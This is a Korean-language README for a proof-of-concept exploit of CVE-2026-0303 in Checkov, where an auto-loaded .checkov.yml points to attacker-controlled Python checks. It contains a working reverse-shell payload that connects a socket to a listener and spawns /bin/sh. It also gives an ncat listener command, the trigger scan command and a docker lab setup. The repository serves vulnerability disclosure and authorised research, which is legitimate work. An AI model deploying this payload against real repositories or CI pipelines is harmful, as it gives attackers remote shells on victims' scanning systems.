
Checkov PoC: 자동 로드되는 구성 및 서명되지 않은 외부 Python 검사를 통한 임의 코드 실행.
CVE: CVE-2026-0303 | CVSS 기본 점수: 6.3 | 심각도: 낮음
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Checkov의 임의 코드 실행 취약점.
2026년 9월 9일 Palo Alto Networks에 의해 공개됨.
영향받는 버전: Checkov 3.2.0 ~ 3.2.531
수정된 버전: Checkov 3.2.532
자동 로드되는 .checkov.yml 파일을 통한 Checkov의 임의 코드 실행
-> 서명되지 않은 외부 사용자 정의 검사를 통한 공격자 제어 Python 실행.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov는 외부 Python 검사를 지원합니다. 이러한 검사는 의도적으로 Python 모듈로 로드되며, 이는 모듈 임포트 중에 최상위 Python 문이 실행된다는 것을 의미합니다.
Checkov가 디렉터리를 스캔할 때, 해당 디렉터리에서 .checkov.yml 또는
.checkov.yaml 구성 파일을 자동으로 검색합니다. 공격자가 제어하는 구성
파일은 external-checks-dir을 스캔 대상 저장소 내부의 디렉터리로
설정할 수 있습니다.
이로 인해 다음과 같은 실행 체인이 생성됩니다:
피해자가 신뢰할 수 없는 저장소를 스캔
->
Checkov가 .checkov.yml을 자동으로 로드
->
구성이 external-checks-dir을 설정
->
Checkov가 공격자 제어 Python 모듈을 임포트
->
최상위 Python 코드가 Checkov의 권한으로 실행
공격자는 Terraform 파서를 악용하거나 유효한 Checkov 정책을 제공할 필요가 없습니다. 코드 실행은 Checkov가 Python 파일을 임포트할 때 발생합니다.
이는 Checkov를 풀 리퀘스트나 기타 신뢰할 수 없는 저장소 콘텐츠에 대해 자동으로 실행하는 CI 파이프라인에 특히 관련이 있습니다.
랩 페이로드는 Checkov 컨테이너에서 호스트의 리스너로 연결합니다:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
exploit\external-checks\poc_check.py의 페이로드를 수정하세요:
lhost = "127.0.0.1"
lport = 4444
호스트에서 리스너를 시작하세요:
ncat -lvkp 4444
공격자 제어 디렉터리를 스캔하여 취약한 동작을 트리거하세요:
checkov -d /workspace --framework terraform --skip-download
Checkov는 /workspace/.checkov.yml을 자동으로 읽고, 외부 검사
디렉터리를 발견하고, poc_check.py를 임포트합니다. 모듈 수준의
exploit() 호출이 실행될 때 리스너가 셸을 수신해야 합니다.
다음을 통해 설정할 수 있는 간단한 docker 랩을 제공했습니다
docker compose up -d
그리고 다음을 통해 셸에 연결할 수 있습니다
docker exec -it scan-server /bin/sh
이 저장소는 CVE-2026-0303에 대한 독립적인 개념 증명을 포함합니다. 이 취약점은 격리된 실험실 환경에서 재현되고 테스트되었습니다.
이 프로젝트는 격리된 환경에서의 승인된 보안 연구, 교육 및 테스트만을 목적으로 합니다. 소유자의 명시적 승인 없이 시스템, 네트워크, 저장소 또는 데이터에 대해 사용하지 마십시오.
저자는 이 프로젝트를 있는 그대로 제공하며, 어떠한 종류의 보증도 하지 않고, 이 소프트웨어 또는 그 파생물의 손상, 데이터 손실, 서비스 중단, 무단 접근 또는 오용에 대해 어떠한 책임도 지지 않습니다.